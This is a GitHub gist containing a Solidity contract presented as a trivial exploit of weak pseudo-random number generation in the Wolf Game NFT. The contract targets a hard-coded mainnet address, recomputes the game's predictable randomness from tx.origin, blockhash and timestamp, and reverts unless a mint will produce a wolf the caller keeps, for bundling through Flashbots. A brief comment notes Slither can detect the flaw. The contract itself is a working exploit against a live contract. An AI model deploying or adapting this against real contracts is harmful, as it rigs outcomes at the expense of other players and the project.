Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@0xAlcibiades
Created November 20, 2021 15:18
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save 0xAlcibiades/54f58b3d8b8ec81e0eb150dd3d55615e to your computer and use it in GitHub Desktop.
Save 0xAlcibiades/54f58b3d8b8ec81e0eb150dd3d55615e to your computer and use it in GitHub Desktop.
Trivial exploit for weak Pseudo Random Number Generation in the Wolf Game
// SPDX-License-Identifier: UNLICENSED
// It's trivially easy to exploit a weak PRNG based NFT.
// Just bundle this with a flashbots bundle where the mint occurs.
//
// It's also trivially easy to detect/prevent with a took like slither:
// https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG
pragma solidity ^0.8.0;
import "./WolfGame/Woolf.sol";
contract CatchTheWolf {
address internal constant WOOLF_ADDRESS = 0xEB834ae72B30866af20a6ce5440Fa598BfAd3a42;
Woolf private constant WGAME = Woolf(WOOLF_ADDRESS);
constructor() payable {
}
receive() external payable {
}
fallback() external payable {
}
// A call we can revert on
function roll_alpha() public {
view_alpha();
}
// A view we can test with
function view_alpha() public view {
// We need to do it this way to account for theft and mixed ids.
uint256 seed = WGAME.totalSupply() + 1;
uint256 prn = random(seed);
// We want to roll a wolf
bool isSheep = (prn & 0xFFFF) % 10 != 0;
require(!isSheep, 'Sheep');
// Let's check that we'll own it.
bool isOurs = ((prn >> 245) % 10) != 0;
require(isOurs, "Stolen");
}
// The weak prng which started it all
function random(uint256 seed) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(
tx.origin,
blockhash(block.number - 1),
block.timestamp,
seed
)));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment